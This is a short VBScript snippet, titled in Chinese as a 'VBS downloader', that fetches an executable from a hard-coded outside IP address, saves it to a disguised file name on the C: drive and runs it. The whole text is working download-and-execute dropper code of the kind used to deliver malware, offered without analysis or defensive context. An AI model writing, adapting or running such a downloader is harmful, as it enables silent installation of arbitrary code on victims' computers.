vbs下载者

 1 Set Post = CreateObject("Msxml2.XMLHTTP")
 2 Set Shell = CreateObject("Wscript.Shell")
 3 Post.Open "GET","http://202.75.208.29/calc.exe",0
 4 Post.Send()
 5 Set aGet = CreateObject("ADODB.Stream")
 6 aGet.Mode = 3
 7 aGet.Type = 1
 8 aGet.Open() 
 9 aGet.Write(Post.responseBody)
10 aGet.SaveToFile "C:\NTDETBCT.COM",2
11 wscript.sleep 1000 
12 Shell.Run ("C:\NTDETBCT.COM")